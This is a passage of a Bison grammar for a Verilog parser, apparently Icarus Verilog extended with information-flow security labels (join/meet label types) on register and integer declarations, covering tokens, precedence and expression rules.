K_LS K_RS K_RSS K_SG /* K_CONTRIBUTE is <+, the contribution assign. */ %token K_CONTRIBUTE %token K_PO_POS K_PO_NEG K_POW %token K_PSTAR K_STARP %token K_LOR K_LAND K_NAND K_NOR K_NXOR K_TRIGGER %token K_edge_descriptor %token K_meet /* The base tokens from 1364-1995. */ %token K_always K_and K_assign K_begin K_buf K_bufif0 K_bufif1 K_case %token K_casex K_casez K_cmos K_deassign K_default K_defparam K_disable %token K_edge K_else K_end K_endcase K_endfunction K_endmodule %token K_endprimitive K_endspecify K_endtable K_endtask K_event K_for %token K_force K_forever K_fork K_function K_highz0 K_highz1 K_if %token K_ifnone K_initial K_inout K_input K_integer K_join K_large %token K_macromodule K_medium K_module K_nand K_negedge K_nmos K_nor %token K_not K_notif0 K_notif1 K_or K_output K_parameter K_pmos K_posedge %token K_primitive K_pull0 K_pull1 K_pulldown K_pullup K_rcmos K_real %token K_realtime K_reg K_release K_repeat K_rnmos K_rpmos K_rtran %token K_rtranif0 K_rtranif1 K_scalared K_small K_specify K_specparam %token K_strong0 K_strong1 K_supply0 K_supply1 K_table K_task K_time %token K_tran K_tranif0 K_tranif1 K_tri K_tri0 K_tri1 K_triand K_trior %token K_trireg K_vectored K_wait K_wand K_weak0 K_weak1 K_while K_wire %token K_wor K_xnor K_xor %token K_Shold K_Snochange K_Speriod K_Srecovery K_Ssetup K_Ssetuphold %token K_Sskew K_Swidth /* Icarus specific tokens. */ %token KK_attribute K_bool K_logic /* The new tokens from 1364-2001. */ %token K_automatic K_endgenerate K_generate K_genvar K_localparam %token K_noshowcancelled K_pulsestyle_onevent K_pulsestyle_ondetect %token K_showcancelled K_signed K_unsigned %token K_Sfullskew K_Srecrem K_Sremoval K_Stimeskew /* The 1364-2001 configuration tokens. */ %token K_cell K_config K_design K_endconfig K_incdir K_include K_instance %token K_liblist K_library K_use /* The new tokens from 1364-2005. */ %token K_wone K_uwire /* The new tokens from 1800-2005. */ %token K_always_comb K_always_ff K_always_latch K_assert /* The new tokens for Verilog-AMS 2.3. */ %token K_abs K_abstol K_access K_acos K_acosh K_analog K_asin K_asinh %token K_atan K_atan2 K_atanh K_ceil K_continuous K_cos K_cosh %token K_ddt_nature K_discipline K_discrete K_domain K_enddiscipline %token K_endnature K_exclude K_exp K_floor K_flow K_from K_ground %token K_hypot K_idt_nature K_inf K_ln K_log K_max K_min K_nature %token K_potential K_pow K_sin K_sinh K_sqrt K_string K_tan K_tanh %token K_units %type <flag> from_exclude %type <number> number %type <flag> signed_opt reg_opt udp_reg_opt edge_operator automatic_opt %type <drive> drive_strength drive_strength_opt dr_strength0 dr_strength1 %type <letter> udp_input_sym udp_output_sym %type <text> udp_input_list udp_sequ_entry udp_comb_entry %type <perm_strings> udp_input_declaration_list %type <strings> udp_entry_list udp_comb_entry_list udp_sequ_entry_list %type <strings> udp_body %type <perm_strings> udp_port_list %type <wires> udp_port_decl udp_port_decls %type <statement> udp_initial udp_init_opt %type <expr> udp_initial_expr_opt %type <text> register_variable net_variable real_variable %type <perm_strings> register_variable_list net_variable_list %type <perm_strings> real_variable_list list_of_identifiers %type <port_list> list_of_port_identifiers %type <net_decl_assign> net_decl_assign net_decl_assigns %type <mport> port port_opt port_reference port_reference_list %type <mport> port_declaration %type <mports> list_of_ports module_port_list_opt list_of_port_declarations module_attribute_foreign %type <value_range> parameter_value_range parameter_value_ranges %type <value_range> parameter_value_ranges_opt %type <expr> value_range_expression %type <wires> task_item task_item_list task_item_list_opt %type <wires> task_port_item task_port_decl task_port_decl_list %type <wires> function_item function_item_list %type <named_pexpr> port_name parameter_value_byname %type <named_pexprs> port_name_list parameter_value_byname_list %type <named_pexpr> attribute %type <named_pexprs> attribute_list attribute_instance_list attribute_list_opt %type <citem> case_item %type <citems> case_items %type <gate> gate_instance %type <gates> gate_instance_list %type <pform_name> hierarchy_identifier %type <expr> expression expr_primary expr_mintypmax %type <expr> lpvalue %type <expr> branch_probe_expression %type <expr> delay_value delay_value_simple %type <exprs> delay1 delay3 delay3_opt delay_value_list %type <exprs> expression_list_with_nuls expression_list_proper %type <exprs> cont_assign cont_assign_list %type <exprs> range range_opt %type <dimensions> dimensions_opt dimensions %type <nettype> net_type var_type net_type_opt %type <gatetype> gatetype switchtype %type <porttype> port_type %type <datatype> primitive_type primitive_type_opt %type <parmvalue> parameter_value_opt %type <function_type> function_range_or_type_opt %type <event_expr> event_expression_list %type <event_expr> event_expression %type <event_statement> event_control %type <statement> statement statement_or_null %type <statement_list> statement_list %type <statement_list> statement_list_or_null %type <statement> analog_statement %type <letter> spec_polarity %type <perm_strings> specify_path_identifiers %type <specpath> specify_simple_path specify_simple_path_decl %type <specpath> specify_edge_path specify_edge_path_decl %type <sectype> sec_label %type <sectype> sec_label_comp %token K_TAND %right '?' ':' %left K_LOR %left K_LAND %left '|' %left '^' K_NXOR K_NOR %left '&' K_NAND %left K_EQ K_NE K_CEQ K_CNE %left K_GE K_LE '<' '>' %left K_LS K_RS K_RSS %left '+' '-' %left '*' '/' '%' %left K_POW %left UNARY_PREC /* to resolve dangling else ambiguity. */ %nonassoc less_than_K_else %nonassoc K_else /* to resolve exclude (... ambiguity */ %nonassoc '(' %nonassoc K_exclude %% /* A degenerate source file can be completely empty. */ main : source_file | ; source_file : description | source_file description ; number : BASED_NUMBER { $$ = $1; based_size = 0;} | DEC_NUMBER { $$ = $1; based_size = 0;} | DEC_NUMBER BASED_NUMBER { $$ = pform_verinum_with_size($1,$2, @2.text, @2.first_line); based_size = 0; } ; /* real and realtime are exactly the same so save some code * with a common matching rule. */ real_or_realtime : K_real | K_realtime ; /* Verilog-2001 supports attribute lists, which can be attached to a variety of different objects. The syntax inside the (* *) is a comma separated list of names or names with assigned values. */ attribute_list_opt : attribute_instance_list | { $$ = 0; } ; attribute_instance_list : K_PSTAR K_STARP { $$ = 0; } | K_PSTAR attribute_list K_STARP { $$ = $2; } | attribute_instance_list K_PSTAR K_STARP { $$ = $1; } | attribute_instance_list K_PSTAR attribute_list K_STARP { if ($1) { svector<named_pexpr_t*>*tmp; tmp = new svector<named_pexpr_t*>(*$1, *$3); delete $1; delete $3; $$ = tmp; } else $$ = $3; } ; attribute_list : attribute_list ',' attribute { svector<named_pexpr_t*>*tmp = new svector<named_pexpr_t*>(*$1,$3); delete $1; $$ = tmp; } | attribute { svector<named_pexpr_t*>*tmp = new svector<named_pexpr_t*>(1); (*tmp)[0] = $1; $$ = tmp; } ; attribute : IDENTIFIER { named_pexpr_t*tmp = new named_pexpr_t; tmp->name = lex_strings.make($1); tmp->parm = 0; delete[]$1; $$ = tmp; } | IDENTIFIER '=' expression { PExpr*tmp = $3; named_pexpr_t*tmp2 = new named_pexpr_t; tmp2->name = lex_strings.make($1); tmp2->parm = tmp; delete[]$1; $$ = tmp2; } ; sec_label : '{' sec_label_comp '}' { $$ = $2; } | // use default label Low { SecType* type = new ConstType(); // SecType* type = IndexType::RL; $$ = type; } ; sec_label_comp : IDENTIFIER { perm_string name = lex_strings.make($1); SecType* type = new ConstType(name); $$ = type; } | IDENTIFIER IDENTIFIER { perm_string name = lex_strings.make($1); perm_string expr = lex_strings.make($2); SecType* type = new IndexType(name, expr); $$ = type; } | sec_label_comp K_join sec_label_comp { $$ = new JoinType ($1, $3); } | sec_label_comp K_meet sec_label_comp { $$ = new MeetType ($1, $3); } | // use default label Low { SecType* type = ConstType::BOT; $$ = type; } ; /* The block_item_decl is used in function definitions, task definitions, module definitions and named blocks. Wherever a new scope is entered, the source may declare new registers and integers. This rule matches those declarations. The containing rule has presumably set up the scope. */ block_item_decl : attribute_list_opt K_reg primitive_type_opt signed_opt range sec_label register_variable_list ';' { ivl_variable_type_t dtype = $3; if (dtype == IVL_VT_NO_TYPE) dtype = IVL_VT_LOGIC; pform_set_net_range_type($7, $5, $4, dtype, $6); if ($1) delete $1; } /* This differs from the above pattern only in the absence of the range. This is the rule for a scalar. */ | attribute_list_opt K_reg primitive_type_opt signed_opt sec_label register_variable_list ';' { ivl_variable_type_t dtype = $3; if (dtype == IVL_VT_NO_TYPE) dtype = IVL_VT_LOGIC; pform_set_net_range_type($6, 0, $4, dtype, $5); if ($1) delete $1; } /* Integer declarations are simpler in that they do not have all the trappings of a general variable declaration. All of that is implicit in the "integer" of the declaration. */ | attribute_list_opt K_integer sec_label register_variable_list ';' { pform_set_reg_integer_type($4, $3); if ($1) delete $1; } | attribute_list_opt K_time sec_label register_variable_list ';' { pform_set_reg_time_type($4, $3); } /* real declarations are fairly simple as there is no range of signed flag in the declaration. Create the real as a NetNet::REG with real value. Note that real and realtime are interchangeable in this context. */ | attribute_list_opt K_real real_variable_list ';' { delete $3; } | attribute_list_opt K_realtime real_variable_list ';' { delete $3; } | K_event list_of_identifiers ';' { pform_make_events($2, @1.text, @1.first_line); } | K_parameter param_type parameter_assign_list ';' | K_localparam param_type localparam_assign_list ';' /* Recover from errors that happen within variable lists. Use the trailing semi-colon to resync the parser. */ | attribute_list_opt K_reg error ';' { yyerror(@2, "error: syntax error in reg variable list."); yyerrok; if ($1) delete $1; } | attribute_list_opt K_integer error ';' { yyerror(@2, "error: syntax error in integer variable list."); yyerrok; if ($1) delete $1; } | attribute_list_opt K_time error ';' { yyerror(@2, "error: syntax error in time variable list."); yyerrok; } | attribute_list_opt K_real error ';' { yyerror(@2, "error: syntax error in real variable list."); yyerrok; } | attribute_list_opt K_realtime error ';' { yyerror(@2, "error: syntax error in realtime variable list."); yyerrok; } | K_parameter error ';' { yyerror(@1, "error: syntax error in parameter list."); yyerrok; } | K_localparam error ';' { yyerror(@1, "error: syntax error localparam list."); yyerrok; } ; block_item_decls : block_item_decl | block_item_decls block_item_decl ; block_item_decls_opt : block_item_decls | ; case_item : expression_list_proper ':' statement_or_null { PCase::Item*tmp = new PCase::Item; tmp->expr = *$1; tmp->stat = $3; delete $1; $$ = tmp; } | K_default ':' statement_or_null { PCase::Item*tmp = new PCase::Item; tmp->stat = $3; $$ = tmp; } | K_default statement_or_null { PCase::Item*tmp = new PCase::Item; tmp->stat = $2; $$ = tmp; } | error ':' statement_or_null { yyerror(@2, "error: Incomprehensible case expression."); yyerrok; } ; case_items : case_items case_item { svector<PCase::Item*>*tmp; tmp = new svector<PCase::Item*>(*$1, $2); delete $1; $$ = tmp; } | case_item { svector<PCase::Item*>*tmp = new svector<PCase::Item*>(1); (*tmp)[0] = $1; $$ = tmp; } ; charge_strength : '(' K_small ')' | '(' K_medium ')' | '(' K_large ')' ; charge_strength_opt : charge_strength | ; defparam_assign : hierarchy_identifier '=' expression { pform_set_defparam(*$1, $3); delete $1; } ; defparam_assign_list : defparam_assign | range defparam_assign { yyerror(@1, "error: defparam may not include a range."); delete $1; } | defparam_assign_list ',' defparam_assign ; delay1 : '#' delay_value_simple { svector<PExpr*>*tmp = new svector<PExpr*>(1); (*tmp)[0] = $2; $$ = tmp; } | '#' '(' delay_value ')' { svector<PExpr*>*tmp = new svector<PExpr*>(1); (*tmp)[0] = $3; $$ = tmp; } ; delay3 : '#' delay_value_simple { svector<PExpr*>*tmp = new svector<PExpr*>(1); (*tmp)[0] = $2; $$ = tmp; } | '#' '(' delay_value ')' { svector<PExpr*>*tmp = new svector<PExpr*>(1); (*tmp)[0] = $3; $$ = tmp; } | '#' '(' delay_value ',' delay_value ')' { svector<PExpr*>*tmp = new svector<PExpr*>(2); (*tmp)[0] = $3; (*tmp)[1] = $5; $$ = tmp; } | '#' '(' delay_value ',' delay_value ',' delay_value ')' { svector<PExpr*>*tmp = new svector<PExpr*>(3); (*tmp)[0] = $3; (*tmp)[1] = $5; (*tmp)[2] = $7; $$ = tmp; } ; delay3_opt : delay3 { $$ = $1; } | { $$ = 0; } ; delay_value_list : delay_value { svector<PExpr*>*tmp = new svector<PExpr*>(1); (*tmp)[0] = $1; $$ = tmp; } | delay_value_list ',' delay_value { svector<PExpr*>*tmp = new svector<PExpr*>(*$1, $3); delete $1; $$ = tmp; } ; delay_value : expression { PExpr*tmp = $1; $$ = tmp; } | expression ':' expression ':' expression { $$ = pform_select_mtm_expr($1, $3, $5); } ; delay_value_simple : DEC_NUMBER { verinum*tmp = $1; if (tmp == 0) { yyerror(@1, "internal error: delay."); $$ = 0; } else { $$ = new PENumber(tmp); FILE_NAME($$, @1); } based_size = 0; } | REALTIME { verireal*tmp = $1; if (tmp == 0) { yyerror(@1, "internal error: delay."); $$ = 0; } else { $$ = new PEFNumber(tmp); FILE_NAME($$, @1); } } | IDENTIFIER { PEIdent*tmp = new PEIdent(lex_strings.make($1)); FILE_NAME(tmp, @1); $$ = tmp; delete[]$1; } ; description : module | udp_primitive | config_declaration | nature_declaration | discipline_declaration | KK_attribute '(' IDENTIFIER ',' STRING ',' STRING ')' { perm_string tmp3 = lex_strings.make($3); pform_set_type_attrib(tmp3, $5, $7); delete[] $3; delete[] $5; } ; /* The discipline and nature declarations used to take no ';' after the identifier. The 2.3 LRM adds the ';', but since there are programs written to the 2.1 and 2.2 standard that don't, we choose to make the ';' optional in this context. */ optional_semicolon : ';' | ; discipline_declaration : K_discipline IDENTIFIER optional_semicolon { pform_start_discipline($2); } discipline_items K_enddiscipline { pform_end_discipline(@1); delete[] $2; } ; discipline_items : discipline_items discipline_item | discipline_item ; discipline_item : K_domain K_discrete ';' { pform_discipline_domain(@1, IVL_DIS_DISCRETE); } | K_domain K_continuous ';' { pform_discipline_domain(@1, IVL_DIS_CONTINUOUS); } | K_potential IDENTIFIER ';' { pform_discipline_potential(@1, $2); delete[] $2; } | K_flow IDENTIFIER ';' { pform_discipline_flow(@1, $2); delete[] $2; } ; nature_declaration : K_nature IDENTIFIER optional_semicolon { pform_start_nature($2); } nature_items K_endnature { pform_end_nature(@1); delete[] $2; } ; nature_items : nature_items nature_item | nature_item ; nature_item : K_units '=' STRING ';' { delete[] $3; } | K_abstol '=' expression ';' | K_access '=' IDENTIFIER ';' { pform_nature_access(@1, $3); delete[] $3; } | K_idt_nature '=' IDENTIFIER ';' { delete[] $3; } | K_ddt_nature '=' IDENTIFIER ';' { delete[] $3; } ; config_declaration : K_config IDENTIFIER ';' K_design lib_cell_identifiers ';' list_of_config_rule_statements K_endconfig { cerr << @1 << ": sorry: config declarations are not supported and " "will be skipped." << endl; delete[] $2; } ; lib_cell_identifiers : /* The BNF implies this can be blank, but I'm not sure exactly what * this means. */ | lib_cell_identifiers lib_cell_id ; list_of_config_rule_statements : /* config rules are optional. */ | list_of_config_rule_statements config_rule_statement ; config_rule_statement : K_default K_liblist list_of_libraries ';' | K_instance hierarchy_identifier K_liblist list_of_libraries ';' { delete $2; } | K_instance hierarchy_identifier K_use lib_cell_id opt_config ';' { delete $2; } | K_cell lib_cell_id K_liblist list_of_libraries ';' | K_cell lib_cell_id K_use lib_cell_id opt_config ';' ; opt_config : /* The use clause takes an optional :config. */ | ':' K_config ; lib_cell_id : IDENTIFIER { delete[] $1; } | IDENTIFIER '.' IDENTIFIER { delete[] $1; delete[] $3; } ; list_of_libraries : /* A NULL library means use the parents cell library. */ | list_of_libraries IDENTIFIER { delete[] $2; } ; drive_strength : '(' dr_strength0 ',' dr_strength1 ')' { $$.str0 = $2.str0; $$.str1 = $4.str1; } | '(' dr_strength1 ',' dr_strength0 ')' { $$.str0 = $4.str0; $$.str1 = $2.str1; } | '(' dr_strength0 ',' K_highz1 ')' { $$.str0 = $2.str0; $$.str1 = PGate::HIGHZ; } | '(' dr_strength1 ',' K_highz0 ')' { $$.str0 = PGate::HIGHZ; $$.str1 = $2.str1; } | '(' K_highz1 ',' dr_strength0 ')' { $$.str0 = $4.str0; $$.str1 = PGate::HIGHZ; } | '(' K_highz0 ',' dr_strength1 ')' { $$.str0 = PGate::HIGHZ; $$.str1 = $4.str1; } ; drive_strength_opt : drive_strength { $$ = $1; } | { $$.str0 = PGate::STRONG; $$.str1 = PGate::STRONG; } ; dr_strength0 : K_supply0 { $$.str0 = PGate::SUPPLY; } | K_strong0 { $$.str0 = PGate::STRONG; } | K_pull0 { $$.str0 = PGate::PULL; } | K_weak0 { $$.str0 = PGate::WEAK; } ; dr_strength1 : K_supply1 { $$.str1 = PGate::SUPPLY; } | K_strong1 { $$.str1 = PGate::STRONG; } | K_pull1 { $$.str1 = PGate::PULL; } | K_weak1 { $$.str1 = PGate::WEAK; } ; event_control : '@' hierarchy_identifier { PEIdent*tmpi = new PEIdent(*$2); PEEvent*tmpe = new PEEvent(PEEvent::ANYEDGE, tmpi); PEventStatement*tmps = new PEventStatement(tmpe); FILE_NAME(tmps, @1); $$ = tmps; delete $2; } | '@' '(' event_expression_list ')' { PEventStatement*tmp = new PEventStatement(*$3); FILE_NAME(tmp, @1); delete $3; $$ = tmp; } | '@' '(' error ')' { yyerror(@1, "error: Malformed event control expression."); $$ = 0; } ; event_expression_list : event_expression { $$ = $1; } | event_expression_list K_or event_expression { svector<PEEvent*>*tmp = new svector<PEEvent*>(*$1, *$3); delete $1; delete $3; $$ = tmp; } | event_expression_list ',' event_expression { svector<PEEvent*>*tmp = new svector<PEEvent*>(*$1, *$3); delete $1; delete $3; $$ = tmp; } ; event_expression : K_posedge expression { PEEvent*tmp = new PEEvent(PEEvent::POSEDGE, $2); FILE_NAME(tmp, @1); svector<PEEvent*>*tl = new svector<PEEvent*>(1); (*tl)[0] = tmp; $$ = tl; } | K_negedge expression { PEEvent*tmp = new PEEvent(PEEvent::NEGEDGE, $2); FILE_NAME(tmp, @1); svector<PEEvent*>*tl = new svector<PEEvent*>(1); (*tl)[0] = tmp; $$ = tl; } | expression { PEEvent*tmp = new PEEvent(PEEvent::ANYEDGE, $1); FILE_NAME(tmp, @1); svector<PEEvent*>*tl = new svector<PEEvent*>(1); (*tl)[0] = tmp; $$ = tl; } ; /* A branch probe expression applies a probe function (potential or flow) to a branch. The branch may be implicit as a pair of nets or explicit as a named branch. Elaboration will check that the function name really is a nature attribute identifier. */ branch_probe_expression : IDENTIFIER '(' IDENTIFIER ',' IDENTIFIER ')' { $$ = pform_make_branch_probe_expression(@1, $1, $3, $5); } | IDENTIFIER '(' IDENTIFIER ')' { $$ = pform_make_branch_probe_expression(@1, $1, $3); } ; expression : expr_primary { $$ = $1; } | '+' expr_primary %prec UNARY_PREC { $$ = $2; } | '-' expr_primary %prec UNARY_PREC { PEUnary*tmp = new PEUnary('-', $2); FILE_NAME(tmp, @2); $$ = tmp; } | '~' expr_primary %prec UNARY_PREC { PEUnary*tmp = new PEUnary('~', $2); FILE_NAME(tmp, @2); $$ = tmp; } | '&' expr_primary %prec UNARY_PREC { PEUnary*tmp = new PEUnary('&', $2); FILE_NAME(tmp, @2); $$ = tmp; } | '!' expr_primary %prec UNARY_PREC { PEUnary*tmp = new PEUnary('!', $2); FILE_NAME(tmp, @2); $$ = tmp; } | '|' expr_primary %prec UNARY_PREC { PEUnary*tmp = new PEUnary('|', $2); FILE_NAME(tmp, @2); $$ = tmp; } | '^' expr_primary %prec UNARY_PREC { PEUnary*tmp = new PEUnary('^', $2); FILE_NAME(tmp, @2); $$ = tmp; } | '~' '&' expr_primary %prec UNARY_PREC { yyerror(@1, "error: '~' '&' is not a valid expression. " "Please use operator '~&' instead."); $$ = 0; } | '~' '|' expr_primary %prec UNARY_PREC { yyerror(@1, "error: '~' '|' is not a valid expression. " "Please use operator '~|' instead."); $$ = 0; } | '~' '^' expr_primary %prec UNARY_PREC { yyerror(@1, "error: '~' '^' is not a valid expression. " "Please use operator '~^' instead."); $$ = 0; } | K_NAND expr_primary %prec UNARY_PREC { PEUnary*tmp = new PEUnary('A', $2); FILE_NAME(tmp, @2); $$ = tmp; } | K_NOR expr_primary %prec UNARY_PREC { PEUnary*tmp = new PEUnary('N', $2); FILE_NAME(tmp, @2); $$ = tmp; } | K_NXOR expr_primary %prec UNARY_PREC { PEUnary*tmp = new PEUnary('X', $2); FILE_NAME(tmp, @2); $$ = tmp; } | '!' error %prec UNARY_PREC { yyerror(@1, "error: Operand of unary ! " "is not a primary expression."); $$ = 0; } | '^' error %prec UNARY_PREC { yyerror(@1, "error: Operand of reduction ^ " "is not a primary expression."); $$ = 0; } | expression '^' expression { PEBinary*tmp = new PEBinary('^', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_POW expression { PEBinary*tmp = new PEBPower('p', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression '*' expression { PEBinary*tmp = new PEBinary('*', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression '/' expression { PEBinary*tmp = new PEBinary('/', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression '%' expression { PEBinary*tmp = new PEBinary('%', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression '+' expression { PEBinary*tmp = new PEBinary('+', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression '-' expression { PEBinary*tmp = new PEBinary('-', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression '&' expression { PEBinary*tmp = new PEBinary('&', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression '|' expression { PEBinary*tmp = new PEBinary('|', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_NAND expression { PEBinary*tmp = new PEBinary('A', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_NOR expression { PEBinary*tmp = new PEBinary('O', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_NXOR expression { PEBinary*tmp = new PEBinary('X', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression '<' expression { PEBinary*tmp = new PEBComp('<', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression '>' expression { PEBinary*tmp = new PEBComp('>', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_LS expression { PEBinary*tmp = new PEBShift('l', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_RS expression { PEBinary*tmp = new PEBShift('r', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_RSS expression { PEBinary*tmp = new PEBShift('R', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_EQ expression { PEBinary*tmp = new PEBComp('e', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_CEQ expression { PEBinary*tmp = new PEBComp('E', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_LE expression { PEBinary*tmp = new PEBComp('L', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_GE expression { PEBinary*tmp = new PEBComp('G', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_NE expression { PEBinary*tmp = new PEBComp('n', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_CNE expression { PEBinary*tmp = new PEBComp('N', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_LOR expression { PEBinary*tmp = new PEBLogic('o', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression K_LAND expression { PEBinary*tmp = new PEBLogic('a', $1, $3); FILE_NAME(tmp, @2); $$ = tmp; } | expression '?' expression ':' expression { PETernary*tmp = new PETernary($1, $3, $5); FILE_NAME(tmp, @2); $$ = tmp; } ; expr_mintypmax : expression { $$ = $1; } | expression ':' expression ':' expression { switch (min_typ_max_flag) { case MIN: $$ = $1; delete $3; delete $5; break; case TYP: delete $1; $$ = $3; delete $5; break; case MAX: delete $1; delete $3; $$ = $5; break; } if (min_typ_max_warn > 0) { cerr << $$->get_fileline() << ": warning: choosing "; switch (min_typ_max_flag) { case MIN: cerr << "min"; break; case TYP: cerr << "typ"; break; case MAX: cerr << "max"; break; } cerr << " expression." << endl; min_typ_max_warn -= 1; } } ; /* Many contexts take a comma separated list of expressions. Null expressions can happen anywhere in the list, so there are two extra rules in expression_list_with_nuls for parsing and installing those nulls. The expression_list_proper rules do not allow null items in the expression list, so can be used where nul expressions are not allowed. */ expression_list_with_nuls : expression_list_with_nuls ',' expression { svector<PExpr*>*tmp = new svector<PExpr*>(*$1, $3); delete $1; $$ = tmp; } | expression { svector<PExpr*>*tmp = new svector<PExpr*>(1); (*tmp)[0] = $1; $$ = tmp; } | { svector<PExpr*>*tmp = new svector<PExpr*>(1); (*tmp)[0] = 0; $$ = tmp; } | expression_list_with_nuls ',' { svector<PExpr*>*tmp = new svector<PExpr*>(*$1, 0); delete $1; $$ = tmp; } ; expression_list_proper : expression_list_proper ',' expression { svector<PExpr*>*tmp = new svector<PExpr*>(*$1, $3); delete $1; $$ = tmp; } | expression { svector<PExpr*>*tmp = new svector<PExpr*>(1); (*tmp)[0] = $1; $$ = tmp; } ; expr_primary : number { assert($1); PENumber*tmp = new PENumber($1); FILE_NAME(tmp, @1); $$ = tmp; } | REALTIME { PEFNumber*tmp = new PEFNumber($1); FILE_NAME(tmp, @1); $$ = tmp; } | STRING { PEString*tmp = new PEString($1); FILE_NAME(tmp, @1); $$ = tmp; } | SYSTEM_IDENTIFIER { perm_string tn = lex_strings.make($1); PECallFunction*tmp = new PECallFunction(tn); FILE_NAME(tmp, @1); $$ = tmp; delete[]$1; } /* The hierarchy_identifier rule matches simple identifiers as well as indexed arrays and part selects */ | hierarchy_identifier { PEIdent*tmp = new PEIdent(*$1); FILE_NAME(tmp, @1); $$ = tmp; delete $1; } /* An identifier followed by an expression list in parentheses is a function call. If a system identifier, then a system function call. */ | hierarchy_identifier '(' expression_list_proper ')' { PECallFunction*tmp = new PECallFunction(*$1, *$3); FILE_NAME(tmp, @1); delete $1; $$ = tmp; } | SYSTEM_IDENTIFIER '(' expression_list_proper ')' { perm_string tn = lex_strings.make($1); PECallFunction*tmp = new PECallFunction(tn, *$3); FILE_NAME(tmp, @1); delete[]$1; $$ = tmp; } | hierarchy_identifier '(' ')' { yyerror(@1, "error: function calls must have at least one " "input argument."); yyerrok; } | SYSTEM_IDENTIFIER '(' ')' { yyerror(@1, "error: system function calls must have at least one " "input argument."); yyerrok; } /* Many of the VAMS built-in functions are available as builtin functions with $system_function equivalents. */ | K_acos '(' expression ')' { perm_string tn = perm_string::literal("$acos"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_acosh '(' expression ')' { perm_string tn = perm_string::literal("$acosh"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_asin '(' expression ')' { perm_string tn = perm_string::literal("$asin"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_asinh '(' expression ')' { perm_string tn = perm_string::literal("$asinh"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_atan '(' expression ')' { perm_string tn = perm_string::literal("$atan"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_atanh '(' expression ')' { perm_string tn = perm_string::literal("$atanh"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_atan2 '(' expression ',' expression ')' { perm_string tn = perm_string::literal("$atan2"); PECallFunction*tmp = make_call_function(tn, $3, $5); FILE_NAME(tmp,@1); $$ = tmp; } | K_ceil '(' expression ')' { perm_string tn = perm_string::literal("$ceil"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_cos '(' expression ')' { perm_string tn = perm_string::literal("$cos"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_cosh '(' expression ')' { perm_string tn = perm_string::literal("$cosh"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_exp '(' expression ')' { perm_string tn = perm_string::literal("$exp"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_floor '(' expression ')' { perm_string tn = perm_string::literal("$floor"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_hypot '(' expression ',' expression ')' { perm_string tn = perm_string::literal("$hypot"); PECallFunction*tmp = make_call_function(tn, $3, $5); FILE_NAME(tmp,@1); $$ = tmp; } | K_ln '(' expression ')' { perm_string tn = perm_string::literal("$ln"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_log '(' expression ')' { perm_string tn = perm_string::literal("$log10"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_pow '(' expression ',' expression ')' { perm_string tn = perm_string::literal("$pow"); PECallFunction*tmp = make_call_function(tn, $3, $5); FILE_NAME(tmp,@1); $$ = tmp; } | K_sin '(' expression ')' { perm_string tn = perm_string::literal("$sin"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_sinh '(' expression ')' { perm_string tn = perm_string::literal("$sinh"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_sqrt '(' expression ')' { perm_string tn = perm_string::literal("$sqrt"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_tan '(' expression ')' { perm_string tn = perm_string::literal("$tan"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_tanh '(' expression ')' { perm_string tn = perm_string::literal("$tanh"); PECallFunction*tmp = make_call_function(tn, $3); FILE_NAME(tmp,@1); $$ = tmp; } /* These mathematical functions are conveniently expressed as unary and binary expressions. They behave much like unary/binary operators, even though they are parsed as functions. */ | K_abs '(' expression ')' { PEUnary*tmp = new PEUnary('m', $3); FILE_NAME(tmp,@1); $$ = tmp; } | K_max '(' expression ',' expression ')' { PEBinary*tmp = new PEBinary('M', $3, $5); 